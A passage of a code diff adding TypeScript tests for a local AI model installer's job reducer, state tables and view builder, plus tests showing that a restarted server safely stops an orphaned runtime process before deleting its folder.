+    expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'local-ollama', models: [pick.modelId] }]);
+  }, 60_000);
+});
+
+describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => {
+  /**
+   * Installs up to the model download, then "kills" the server: its job stops and it signals
+   * nothing, as a process that got SIGKILL does. Its runtime child goes on listening. Answers
+   * what the next server needs to find that process: `ps` and `kill` over the fake child.
+   */
+  async function killedDuringTheDownload() {
+    const api = await routes();
+    const pick = (await api.get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    slowPull(runtime);
+    await api.install(pick);
+    await api.pulling();
+
+    const child = runtime.state.children[0];
+    const signal = child.kill.bind(child);
+    // A killed server sends its child nothing.
+    child.kill = () => false;
+    await world.service.shutdown();
+    expect(runtime.listening).toBe(true);
+    // The pid was stored the moment the child was spawned.
+    expect((await readLocalModelState()).runtime?.pid).toBe(child.pid);
+
+    const signals: Array<{ pid: number; signal: string; folderThere: boolean }> = [];
+    const processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {
+      // What `ps -o command= -p <pid>` prints for the runtime while it lives.
+      commandOfPid: async (pid) => (pid === child.pid && runtime.listening ? `${world.paths.binary} serve` : undefined),
+      kill: (pid, sig) => {
+        signals.push({ pid, signal: sig, folderThere: existsSync(world.paths.runtimeDir) });
+        if (pid === child.pid) signal(sig);
+      },
+    };
+    return { ...api, pick, runtime, child, signals, processes };
+  }
+
+  it('Remove of the job it left ends that runtime BEFORE the folder is deleted', async () => {
+    const { app, runtime, child, signals, processes } = await killedDuringTheDownload();
+    startServer(processes);
+    const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
+    expect(removed.statusCode).toBe(200);
+    expect(removed.json().data.state).toBe('idle');
+    // The process was signalled while its binary was still on disk, and it is gone.
+    expect(signals).toEqual([{ pid: child.pid, signal: 'SIGTERM', folderThere: true }]);
+    await vi.waitFor(() => expect(runtime.listening).toBe(false));
+    expect(existsSync(world.paths.root)).toBe(false);
+    expect(await readLocalModelState()).toEqual(expect.objectContaining({ schema: 1, state: 'idle' }));
+  }, 60_000);
+
+  it('the next start of the server ends it too: nothing would use it until a click', async () => {
+    const { get, settled, app, runtime, child, signals, processes } = await killedDuringTheDownload();
+    const next = startServer(processes);
+    await next.boot();
+    expect(signals.map((entry) => [entry.pid, entry.signal])).toEqual([[child.pid, 'SIGTERM']]);
+    await vi.waitFor(() => expect(runtime.listening).toBe(false));
+    expect((await get()).install).toMatchObject({ state: 'paused', step: 'model', running: false });
+
+    // Continue starts a runtime of its own on the same port and finishes the install.
+    quickPull(runtime);
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
+    expect(resumed.statusCode).toBe(200);
+    const install = await settled();
+    expect(install).toMatchObject({ state: 'installed', running: true });
+    expect(runtime.state.children).toHaveLength(2);
+  }, 60_000);
+
+  it('a pid that now runs something else is never signalled', async () => {
+    const { app, child, signals } = await killedDuringTheDownload();
+    // The pid was reused by another program since.
+    startServer({
+      commandOfPid: async () => '/Applications/Something.app/Contents/MacOS/Something',
+      kill: (pid, sig) => signals.push({ pid, signal: sig, folderThere: true }),
+    });
+    const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: {} });
+    expect(removed.statusCode).toBe(200);
+    expect(signals).toEqual([]);
+    // Left to the test's own cleanup.
+    child.crash(0);
+  }, 60_000);
+});

test/local-model-install-job.test.ts

@@ -0,0 +1,739 @@
+/**
+ * @fileoverview The pure half of the local model install job (src/local-model/install-job.ts):
+ * the three tables, the reducer over them, and the view.
+ *
+ * The reducer is tested from the tables it is written against: every state is paired with
+ * every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the
+ * table does not list hands back the very object it was given). The state table's own
+ * columns (what a restart and Cancel do, which actions are allowed) are checked against the
+ * reducer and the view, so the table in the file header cannot drift from the code.
+ *
+ * The service that drives the job is in test/local-model-install-service.test.ts.
+ *
+ * Port: N/A (pure functions).
+ */
+import { describe, expect, it } from 'vitest';
+import {
+  allowedActions,
+  buildInstallError,
+  buildInstallView,
+  formatInstallMessage,
+  INSTALL_STATE_TABLE,
+  INSTALL_STEP_TABLE,
+  INSTALL_TRANSITIONS,
+  installedBlocker,
+  jobSteps,
+  reduceInstallJob,
+  type InstallJobEvent,
+  type InstallJobEventType,
+  type InstallLiveFacts,
+} from '../src/local-model/install-job.js';
+import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js';
+import {
+  LOCAL_MODEL_ERROR_LABELS,
+  LOCAL_MODEL_ERROR_NEXT,
+  LOCAL_MODEL_INSTALL_LABELS,
+  LOCAL_MODEL_INSTALL_STEPS,
+  type LocalModelAction,
+  type LocalModelErrorCode,
+  type LocalModelInstallState,
+  type LocalModelInstallStep,
+  type LocalModelStateFile,
+} from '../src/types.js';
+
+const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
+const EVENT_TYPES: InstallJobEventType[] = [
+  'install',
+  'progress',
+  'step-done',
+  'fail',
+  'cancel',
+  'restart',
+  'resume',
+  'remove',
+];
+const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect'];
+
+const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 };
+const CLI = { id: 'opencode', label: 'OpenCode' };
+const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 };
+const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
+const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
+
+const JOB: LocalModelStateFile = {
+  schema: 1,
+  state: 'installing',
+  step: 'model',
+  steps: ALL_STEPS,
+  model: MODEL,
+  cli: CLI,
+  runtime: RUNTIME,
+  progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
+};
+
+/** One state file of each state, as the job leaves it. */
+const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
+  idle: { schema: 1, state: 'idle' },
+  installing: JOB,
+  paused: { ...JOB, state: 'paused' },
+  failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } },
+  installed: {
+    schema: 1,
+    state: 'installed',
+    model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
+    cli: CLI,
+    runtime: RUNTIME,
+    loaded: LOADED,
+    connection: CONNECTION,
+  },
+};
+
+/** One event of each type. */
+const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
+  install: {
+    type: 'install',
+    model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
+    cli: { id: 'claude', label: 'Claude Code' },
+    steps: ['runtime', 'model', 'verify', 'connect'],
+  },
+  progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
+  'step-done': { type: 'step-done' },
+  fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
+  cancel: { type: 'cancel' },
+  restart: { type: 'restart' },
+  resume: { type: 'resume' },
+  remove: { type: 'remove' },
+};
+
+/** Freezes an object and everything in it, so a reducer that mutates its input throws. */
+function deepFreeze<T>(value: T): T {
+  if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
+    Object.freeze(value);
+    for (const member of Object.values(value)) deepFreeze(member);
+  }
+  return value;
+}
+
+const LIVE: InstallLiveFacts = {
+  running: false,
+  gaveUp: false,
+  portInUse: false,
+  developerTools: 'present',
+  runtimeInstalled: false,
+  pin: OLLAMA_RUNTIME_PIN,
+  folder: '/Users/me/.codeman/local-model',
+};
+
+describe('the tables', () => {
+  it('have a row for every state and every step, and only for those', () => {
+    expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort());
+    expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort());
+    expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort());
+    expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS);
+  });
+
+  it('the transition table names only real events and real states', () => {
+    for (const state of STATES) {
+      for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) {
+        expect(EVENT_TYPES).toContain(type);
+        expect(STATES).toContain(target);
+      }
+    }
+  });
+
+  it('is the table of the design: these pairs and no others', () => {
+    expect(INSTALL_TRANSITIONS).toEqual({
+      idle: { install: 'installing', restart: 'idle', remove: 'idle' },
+      installing: {
+        progress: 'installing',
+        'step-done': 'installing',
+        fail: 'failed',
+        cancel: 'paused',
+        restart: 'paused',
+      },
+      paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
+      failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
+      installed: { remove: 'idle', restart: 'installed' },
+    });
+  });
+
+  it('every step row names error codes that exist, each with a sentence and a next step', () => {
+    for (const step of LOCAL_MODEL_INSTALL_STEPS) {
+      const row = INSTALL_STEP_TABLE[step];
+      expect(row.errors.length).toBeGreaterThan(0);
+      expect(row.errors).toContain('internal');
+      for (const code of row.errors) {
+        expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string');
+        expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string');
+      }
+    }
+    // The two steps that download report byte progress; the others do not.
+    expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']);
+    // The runtime must run for every step that talks to it.
+    expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([
+      'model',
+      'verify',
+      'connect',
+    ]);
+  });
+
+  it('every error code has exactly one sentence and one next step', () => {
+    const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[];
+    expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort());
+    const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS));
+    for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true);
+  });
+});
+
+describe('jobSteps', () => {
+  it('is every step in order, without the agent step when the coding agent is installed', () => {
+    expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']);
+    expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']);
+  });
+
+  it('hands out a list of its own each time', () => {
+    const steps = jobSteps({ agentInstalled: false });
+    steps.pop();
+    expect(jobSteps({ agentInstalled: false })).toHaveLength(5);
+    expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5);
+  });
+});
+
+describe('reduceInstallJob: every state with every event, from the transition table', () => {
+  for (const state of STATES) {
+    for (const type of EVENT_TYPES) {
+      const target = INSTALL_TRANSITIONS[state][type];
+      const current = deepFreeze(structuredClone(SAMPLE[state]));
+      const event = deepFreeze(structuredClone(EVENT[type]));
+      if (target === undefined) {
+        it(`${state} + ${type}: refused, the same object comes back`, () => {
+          expect(reduceInstallJob(current, event)).toBe(current);
+        });
+      } else {
+        it(`${state} + ${type}: ${target}`, () => {
+          const next = reduceInstallJob(current, event);
+          expect(next.state).toBe(target);
+          expect(next.schema).toBe(1);
+          // Pure: the frozen input was not changed (a write to it would have thrown).
+          expect(current).toEqual(SAMPLE[state]);
+        });
+      }
+    }
+  }
+
+  it('covers all 40 pairs, 18 of them listed', () => {
+    const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
+    expect(STATES.length * EVENT_TYPES.length).toBe(40);
+    expect(listed).toHaveLength(18);
+  });
+});
+
+describe('the state table agrees with the reducer and the view', () => {
+  it.each(STATES)('%s: what a server restart does', (state) => {
+    const row = INSTALL_STATE_TABLE[state];
+    const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
+    expect(after.state).toBe(row.afterRestart);
+  });
+
+  it.each(STATES)('%s: what Cancel does', (state) => {
+    const row = INSTALL_STATE_TABLE[state];
+    const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' });
+    if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]);
+    else expect(after.state).toBe(row.afterCancel);
+  });
+
+  it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => {
+    const row = INSTALL_STATE_TABLE[state];
+    const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
+    expect(row.actions.includes('install')).toBe(accepts('install'));
+    expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
+    expect(row.actions.includes('resume')).toBe(accepts('resume'));
+    // Remove is refused only while a job runs. From idle it only clears leftovers, so the
+    // window offers no button for it there.
+    if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
+    // The runtime and a session are things of an installed model only.
+    for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
+      expect(row.actions.includes(action)).toBe(state === 'installed');
+    }
+  });
+
+  it('a restart never leaves a job running, and never changes anything else', () => {
+    for (const state of STATES) {
+      const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
+      expect(after.state).not.toBe('installing');
+      if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' });
+      else expect(after).toBe(SAMPLE[state]);
+    }
+  });
+});
+
+describe('reduceInstallJob: what each event writes', () => {
+  it('install from idle starts at the first step with the model, the coding agent and the steps', () => {
+    expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({
+      schema: 1,
+      state: 'installing',
+      step: 'runtime',
+      steps: ['runtime', 'model', 'verify', 'connect'],
+      model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
+      cli: { id: 'claude', label: 'Claude Code' },
+    });
+  });
+
+  it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => {
+    const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED };
+    const next = reduceInstallJob(failed, EVENT.install);
+    expect(next).toEqual({
+      schema: 1,
+      state: 'installing',
+      step: 'runtime',
+      steps: ['runtime', 'model', 'verify', 'connect'],
+      model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
+      // The old job's model is another one: what it left in the store is deleted first.
+      replacedModelId: 'qwen3.6:35b-a3b',
+      cli: { id: 'claude', label: 'Claude Code' },
+      runtime: RUNTIME,
+      connection: CONNECTION,
+    });
+    // Gone: the error, the progress, what the runtime had loaded.
+    expect(next).not.toHaveProperty('error');
+    expect(next).not.toHaveProperty('progress');
+    expect(next).not.toHaveProperty('loaded');
+  });
+
+  it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => {
+    const paused: LocalModelStateFile = {
+      ...SAMPLE.paused,
+      model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' },
+    };
+    const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent);
+    expect(next).not.toHaveProperty('replacedModelId');
+    expect(next.model).toEqual(MODEL);
+  });
+
+  it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => {
+    const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' };
+    // Same model again: the older leftover is still to be deleted.
+    expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe(
+      'qwen3.8:27b'
+    );
+    // Going back to the leftover itself: it is the model that is wanted now.
+    const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } };
+    expect(
+      reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent)
+    ).not.toHaveProperty('replacedModelId');
+  });
+
+  it('refuses an install whose steps are not a job', () => {
+    const idle = SAMPLE.idle;
+    expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle);
+    expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle);
+    expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle);
+  });
+
+  it('progress changes the progress and nothing else', () => {
+    const next = reduceInstallJob(SAMPLE.installing, EVENT.progress);
+    expect(next).toEqual({
+      ...SAMPLE.installing,
+      progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
+    });
+  });
+
+  it('refuses progress that is not two byte counts', () => {
+    for (const bad of [
+      { completedBytes: -1, totalBytes: 10 },
+      { completedBytes: 1.5, totalBytes: 10 },
+      { completedBytes: Number.NaN, totalBytes: 10 },
+      { completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY },
+    ]) {
+      expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing);
+    }
+  });
+
+  it('step-done moves to the next step of THIS job and clears the progress', () => {
+    const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect'];
+    let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps };
+    const visited: (LocalModelInstallStep | undefined)[] = [state.step];
+    for (let i = 0; i < 3; i++) {
+      state = reduceInstallJob(state, { type: 'step-done' });
+      expect(state.state).toBe('installing');
+      expect(state).not.toHaveProperty('progress');
+      visited.push(state.step);
+    }
+    // The agent step is not part of this job, so it is never entered.
+    expect(visited).toEqual(steps);
+  });
+
+  it('the last step-done makes the job installed and keeps only what an installation has', () => {
+    const last: LocalModelStateFile = {
+      ...SAMPLE.installing,
+      step: 'connect',
+      model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
+      loaded: LOADED,
+      connection: CONNECTION,
+    };
+    expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed);
+  });
+
+  it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => {
+    const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI };
+    expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep);
+    const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] };
+    expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign);
+    const noRuntime: LocalModelStateFile = {
+      schema: 1,
+      state: 'installing',
+      step: 'connect',
+      steps: ALL_STEPS,
+      model: MODEL,
+      cli: CLI,
+    };
+    expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime);
+  });
+
+  it('fail keeps the step and the progress as they stood and stores the error', () => {
+    expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({
+      ...SAMPLE.installing,
+      state: 'failed',
+      error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
+    });
+    // An error without extras is just its code.
+    expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({
+      code: 'internal',
+    });
+  });
+
+  it('cancel pauses at the same step, with the progress as it stood', () => {
+    expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused);
+  });
+
+  it('resume re-enters the same step and clears the error', () => {
+    const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' });
+    expect(next).toEqual({ ...SAMPLE.installing });
+    expect(next).not.toHaveProperty('error');
+    expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model');
+  });
+
+  it('remove drops everything, from every state that allows it', () => {
+    for (const state of ['idle', 'paused', 'failed', 'installed'] as const) {
+      expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' });
+    }
+  });
+});
+
+describe('allowedActions', () => {
+  it('outside installed it is the state row, whatever is live', () => {
+    for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
+      expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
+        ...INSTALL_STATE_TABLE[state].actions,
+      ]);
+    }
+    expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
+    expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
+    expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
+    expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
+  });
+
+  it('installed and running: a session can be started and the runtime stopped', () => {
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
+      'start-session',
+      'stop',
+      'remove',
+    ]);
+  });
+
+  it('installed and stopped: it can be started, and no session is offered', () => {
+    expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
+  });
+
+  it('installed and running a model that changed: no session', () => {
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
+  });
+
+  it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session');
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session');
+  });
+
+  it('never returns the table row itself', () => {
+    const actions = allowedActions(SAMPLE.idle, LIVE);
+    actions.push('remove');
+    expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
+  });
+});
+
+describe('installedBlocker', () => {
+  it('is nothing outside installed, and nothing for a runtime the person stopped', () => {
+    for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
+      expect(
+        installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' })
+      ).toBeUndefined();
+    }
+    expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined();
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined();
+  });
+
+  it('another program on the port: the port, and "Use another port"', () => {
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({
+      code: 'port-in-use',
+      message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
+      next: 'other-port',
+    });
+  });
+
+  it('a runtime that keeps stopping: "Start"', () => {
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({
+      code: 'runtime-stopped',
+      message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
+      next: 'start',
+    });
+  });
+
+  it('a runtime that did not start: what it said, and "Start" to try again (an installed model has no job to resume)', () => {
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: { detail: 'spawn ENOENT' } })).toEqual({
+      code: 'runtime-start-failed',
+      message: { text: 'The runtime did not start on this Mac.' },
+      next: 'start',
+      detail: 'spawn ENOENT',
+    });
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: {} })).toEqual({
+      code: 'runtime-start-failed',
+      message: { text: 'The runtime did not start on this Mac.' },
+      next: 'start',
+    });
+    // A runtime that runs has started: an older failure says nothing any more.
+    expect(
+      installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', startFailed: { detail: 'x' } })
+    ).toBeUndefined();
+  });
+
+  it('the port and a runtime that keeps stopping are said before a failed start', () => {
+    const failed = { startFailed: { detail: 'x' } };
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, portInUse: true })?.code).toBe('port-in-use');
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, gaveUp: true })?.code).toBe('runtime-stopped');
+  });
+
+  it('a model that changed: "Remove"', () => {
+    expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({
+      code: 'model-changed',
+      message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' },
+      next: 'remove',
+    });
+  });
+});
+
+describe('buildInstallView', () => {
+  it('idle: only what is always there, with the runtime download an install would add', () => {
+    expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({
+      state: 'idle',
+      running: false,
+      developerTools: 'missing',
+      runtime: {
+        version: '0.40.15',
+        installed: false,
+        downloadBytes: 185_971_671,
+        downloadGb: '0.2',
+        unpackedGb: '0.6',
+      },
+      folder: '/Users/me/.codeman/local-model',
+      actions: ['install'],
+    });
+  });
+
+  it('once the runtime is unpacked an install downloads nothing for it', () => {
+    const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
+    expect(view.runtime).toEqual({
+      version: '0.40.15',
+      installed: true,
+      downloadBytes: 0,
+      downloadGb: '0.0',
+      unpackedGb: '0.6',
+    });
+  });
+
+  it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => {
+    const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 });
+    expect(view).toEqual({
+      state: 'installing',
+      running: true,
+      developerTools: 'present',
+      runtime: {
+        version: '0.40.15',
+        installed: false,
+        downloadBytes: 185_971_671,
+        downloadGb: '0.2',
+        unpackedGb: '0.6',
+      },
+      folder: '/Users/me/.codeman/local-model',
+      actions: ['cancel'],
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
+      context: 131072,
+      cli: 'opencode',
+      cliLabel: 'OpenCode',
+      port: 11435,
+      step: 'model',
+      steps: ALL_STEPS,
+      progress: {
+        completedBytes: 6_200_000_000,
+        totalBytes: 23_105_798_956,
+        completedGb: '6.2',
+        totalGb: '23.1',
+        bytesPerSecond: 58_000_000,
+        mbPerSecond: '58',
+        // (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up.
+        secondsLeft: 292,
+      },
+    });
+  });
+
+  it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => {
+    const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 });
+    expect(view.progress).toEqual({
+      completedBytes: 6_200_000_000,
+      totalBytes: 23_105_798_956,
+      completedGb: '6.2',
+      totalGb: '23.1',
+    });
+    expect(view.actions).toEqual(['resume', 'install', 'remove']);
+  });
+
+  it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
+    const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 });
+    expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' });
+    expect(stalled.progress).not.toHaveProperty('secondsLeft');
+    const noTotal = buildInstallView(
+      { ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } },
+      { ...LIVE, bytesPerSecond: 5 }
+    );
+    expect(noTotal).not.toHaveProperty('progress');
+  });
+
+  it('a job before its port was chosen has no port', () => {
+    const { runtime: _runtime, ...early } = SAMPLE.installing;
+    expect(buildInstallView(early, LIVE)).not.toHaveProperty('port');
+  });
+
+  it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => {
+    const failed: LocalModelStateFile = {
+      ...SAMPLE.failed,
+      step: 'verify',
+      error: {
+        code: 'no-tool-call',
+        vars: { model: 'Qwen3.6 35B-A3B' },
+        detail: 'finish_reason stop',
+        nextModelId: 'gpt-oss:20b',
+      },
+    };
+    const view = buildInstallView(failed, {
+      ...LIVE,
+      nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
+    });
+    expect(view.state).toBe('failed');
+    expect(view.step).toBe('verify');
+    expect(view.error).toEqual({
+      code: 'no-tool-call',
+      message: {
+        text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
+        vars: { model: 'Qwen3.6 35B-A3B' },
+      },
+      next: 'next-model',
+      nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
+      detail: 'finish_reason stop',
+    });
+  });
+
+  it('a failed job never says "Start": a code whose own next step is that says "Try again" there', () => {
+    const state: LocalModelStateFile = { ...SAMPLE.failed, error: { code: 'runtime-stopped', detail: 'ECONNREFUSED' } };
+    expect(buildInstallView(state, LIVE).error).toEqual({
+      code: 'runtime-stopped',
+      message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
+      next: 'retry',
+      detail: 'ECONNREFUSED',
+    });
+    // Every next step a failed job is shown with is one its actions can carry out.
+    for (const code of Object.keys(LOCAL_MODEL_ERROR_NEXT) as LocalModelErrorCode[]) {
+      const next = buildInstallView({ ...SAMPLE.failed, error: { code } }, LIVE).error?.next;
+      expect(next, code).not.toBe('start');
+    }
+  });
+
+  it('a next model is named only for an error whose next step is another model', () => {
+    const view = buildInstallView(SAMPLE.failed, {
+      ...LIVE,
+      nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
+    });
+    expect(view.error).toEqual({
+      code: 'pull-failed',
+      message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed },
+      next: 'retry',
+      detail: 'tls: bad record MAC',
+    });
+  });
+
+  it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => {
+    const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' });
+    expect(view).toEqual({
+      state: 'installed',
+      running: true,
+      developerTools: 'present',
+      runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
+      folder: '/Users/me/.codeman/local-model',
+      actions: ['start-session', 'stop', 'remove'],
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
+      context: 131072,
+      cli: 'opencode',
+      cliLabel: 'OpenCode',
+      port: 11435,
+      loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true },
+      endpointId: 'local-ollama',
+    });
+  });
+
+  it('installed: what blocks a session is on the view and the state stays installed', () => {
